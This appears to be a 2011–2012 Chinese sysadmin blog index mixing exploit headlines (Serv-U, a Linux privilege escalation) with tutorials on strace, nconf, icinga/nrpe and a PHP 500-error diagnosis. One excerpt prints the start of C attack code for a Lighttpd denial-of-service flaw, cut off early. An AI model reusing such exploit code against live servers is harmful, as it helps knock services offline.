serv-u 最新通杀所有版本 EXP
作者:苦咖啡 日期:2012-02-02
Linux 2.6.39 到 3.2.0 爆提权漏洞
作者:苦咖啡 日期:2012-01-29
Lighttpd 1.4.30 / 1.5 Denial Of Service
作者:苦咖啡 日期:2011-12-27
攻击代码如下:
#define PORT 80
#define SA struct sockaddr
char header[] =
"GET /%s/ HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Proxy-Connection: keep-alive\r\n"
"Authorization: Basic ";

nagios配置文件生成器nconf
作者:苦咖啡 日期:2011-12-13
可能很多新手在配置nagios的时候对其配置文件感到头痛,现在有了好的办法去解决,就是用nconf来生成配置文件,话不多说,看具体操作方法
下载最新的nconf文件
wget http://sourceforge.net/projects/nconf/files/nconf/1.3.0-0/nconf-1.3.0-0.tgz/download
下载完文件后,直接解压缩,配置好数据库用户名及密码,配置好nginx或是apache,本文使用nginx配置其虚拟主机
直接访问地址http://127.0.0.1
按提示进行安装,安装完成后需要删除INSTALL INSTALL.php Update Update.php这几个目录及文件,否则无法跳转到安装成功的界面
以下为nconf的截图

strace使用讲解【原创】
作者:苦咖啡 日期:2011-11-30
配置php将其开户一个进程,方便每次都能跟踪到数据,如开户多个将刷新多次才可能分配到你监听的进程上
用以下php来做一个示例保存为test2.php(因facebook在国空被gfw,所以请求肯定会超时,特拿来做试验)
<?php
$a = exec("curl -I www.facebook.com",$out,$status);
print_r($a);
print_r($out);
print_r($status);
?>
使用curl请求地址或是通过ie请求
Curl –I http://100.100.100.6/test2.php
在服务端监听其端口(可使用ps –auxf|grep php-fpm)来确定其进程号
Strace –p 32448(也可使用strace –T –p 32448看每个执行的时间)
如果执行请求后,可看在上图看到php当执行到
$a = exec("curl -I www.facebook.com",$out,$status);
时开始等待返回,25秒左右后才返回结果
另一种测试方法,也可以直接用php去执行跟踪
Strace /usr/bin/php test2.php
排查php内部错误500
作者:苦咖啡 日期:2011-11-17
早上上班第一件事就是看邮件,发现game、shop、pay全部报500错误,这个不是一件小事,增值业务是公司赢利的命脉,第一件事打电话给相关同事,随后登上服务器查看服务器当前情况,负载,CPU等使用都很低,为何还报服务器内部错误,重启服务,发现正常,两分钟后又报500,top下找到一个CPU使用最高的php进程记录下进程号
使用strace -p "进程号"就开始进程跟踪了,一会就显示完跟踪结果,结果如下:
poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
write(8, "\37\0\0\0\3select get_Lock(114180,1) n"..., 35) = 35
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
read(8, "\1\0\0\1\1\32\0\0\2\3def\0\0\0\4name\0\f?\0\1\0\0\0\10\200\0"..., 16384) = 59
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
write(8, "\337\1\0\0\3update fs_user_account a, f"..., 483) = 483
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
read(8, "0\0\0\1\0\0\0\2\0\0\0(Rows matched: 0 Cha"..., 16384) = 52
poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
write(8, "\34\0\0\0\3select RELEASE_LOCK(114180)", 32) = 32
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
read(8, "\1\0\0\1\1*\0\0\2\3def\0\0\0\24RELEASE_LOCK(11"..., 16384) = 75
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
lstat("/mnt", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/mnt/NAS", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/mnt/NAS/pay.funshion.com", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/mnt/NAS/pay.funshion.com/log", {st_mode=S_IFDIR|0755, st_size=20480, ...}) = 0
lstat("/mnt/NAS/pay.funshion.com/log/pay_20111117.log", {st_mode=S_IFREG|0644, st_size=1762494, ...}) = 0
open("/mnt/NAS/pay.funshion.com/log/pay_20111117.log", O_WRONLY|O_CREAT|O_APPEND, 0666) = 9
fstat(9, {st_mode=S_IFREG|0644, st_size=1762494, ...}) = 0
lseek(9, 0, SEEK_CUR) = 0
lseek(9, 0, SEEK_CUR) = 0
flock(9, LOCK_EX <unfinished ...>
Process 1212 detached
很明显程序在写入pay_20111117.log向nas写文件时进程阻塞了,问题就明显了,nas上多组业务都在大量读写,因此nas后来改为只做文件挂载,而日志等其它东西全部本地化,马上修改其配置文件,业务全部恢复正常,大家在遇到一些自己找不到问题原因的时候,可以多试一下strace跟踪命令,比如你一个服务无法启动,可使用strace service mysqld start,一样可以显示跟踪结果,很容易就问题定位了,至此已完美解决问题
puppet集群化管理【安装】
作者:苦咖啡 日期:2011-11-09
icinga安装配置【原创】
作者:苦咖啡 日期:2011-11-07
icinga是nagios升级版,其开发人员全部为nagios原小组成员,其绝对免费,在nagios基础上进行二次开发,优化一些文件,其nagios原配置文件直接无缝对接,其安装配置方法如下
中文项目地址
http://icinga-cn.sourceforge.net/
安装基础依赖
yum install libdbi-devel libdbi libdbi-drivers libdbi-dbd-mysql
新增用户组及用户
groupadd www
useradd -g www www
wget http://jaist.dl.sourceforge.net/project/icinga-cn/icinga-cn/icinga-cn-1.5.1/icinga-cn-1.5.1.tar.bz2
tar jxvf icinga-cn-1.5.1.tar.bz2
cd icinga-cn-1.5.1
./configure --prefix=/usr/local/icinga --enable-idoutils --enable-embedded-perl --enable-ssl --with-icinga-user=www --with-icinga-group=www --with-command-user=www --with-command-group=www --with-web-user=www --with-web-group=www --with-httpd-conf=/etc/httpd/conf/conf.d
make all
make install
make install-init
make install-commandmode
make install-idoutils
make install-api
make install-config
make install-webconf
安装nagios插件
tar zxvf nagios-plugins-1.4.15.tar.gz
cd nagios-plugins-1.4.15/
./configure --prefix=/usr/local/icinga --with-cgiurl=/icinga/cgi-bin --with-htmurl=/www --with-nagios-user=www --with-nagios-group=www
make && make install
安装nrpe
tar zxvf icinga-nrpe-HEAD.tar.gz
cd icinga-nrpe
./configure --with-nrpe-user=www --with-nrpe-group=www --with-icinga-user=www --with-icinga-group=www
make
make install
拷贝nrpe文件:
cp src/nrpe /usr/local/icinga/bin
cp sample-config/nrpe.cfg /usr/local/icinga/etc
启动nrpe病检查:
/usr/local/icinga/bin/nrpe -n -c /usr/local/icinga/etc/nrpe.cfg -d
/usr/local/icinga/libexec/check_nrpe -H 127.0.0.1 -n
默认其icinga用户名
user:icingaadmin
pass:admin
如修改密码则使用
htpasswd -c /usr/local/icinga/etc/htpasswd.users icingaadmin
如修改用户名,则须修改cgi.cfg文件,将里面的icingaadm修改为你修改的用户,否则无权限查看主机服务
在其它客户机安装nrpe及nagios插件即可,nrpe配置文件允许监控主机进行数据采集
在客户机安装完成插件及nrpe后,可从服务端向客户端进行连接测试
usr/local/icinga/libexec/check_nrpe -H 192.168.1.128 -c check_load
OK - load average: 0.16, 0.14, 0.06|load1=0.160;1.500;3.000;0; load5=0.140;1.100;2.200;0; load15=0.060;0.900;1.900;0;
如测试硬盘空间check_disk或swap交换分区check_swap等,最后界面如下

程序代码









